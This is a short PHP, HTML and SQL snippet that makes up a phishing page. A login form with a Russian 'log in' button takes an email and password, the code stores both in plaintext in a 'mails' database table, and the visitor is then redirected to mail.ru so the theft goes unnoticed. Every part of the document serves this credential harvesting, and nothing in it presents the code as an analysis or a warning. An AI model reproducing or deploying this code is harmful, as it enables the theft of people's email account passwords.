CREATE TABLE `mails` ( `id` int(20) NOT NULL auto_increment, `mail` varchar(100) NOT NULL, `pass` varchar(100) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=30 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=30 ;
<form action="<?=$_SERVER['PHP_SELF']?>" method="post"> <input name="login" type="text" /> <input name="pass" type="password" /> <input type="submit" value="Войти" /> </form>
<?php $login = !empty($_POST['login']) && preg_match('/^[a-zA-Z0-9-_\.]+@[a-zA-Z0-9]+\.[a-zA-Z]{2,5}$/', $_POST['login']) ? trim($_POST['login']) : ''; $pass = !empty($_POST['pass']) ? trim($_POST['pass']) : ''; if($login && $pass){ $login = get_magic_quotes_gpc() ? $login : mysql_real_escape_string($login); $pass = get_magic_quotes_gpc() ? $pass : mysql_real_escape_string($pass); mysql_connect('localhost', 'user', 'pass'); mysql_select_db('mails'); $sql = mysql_query("INSERT INTO `mails` VALUE(null, '".$login."', '".$pass."')"); if($sql){ header('location: http://mail.ru'); } } ?>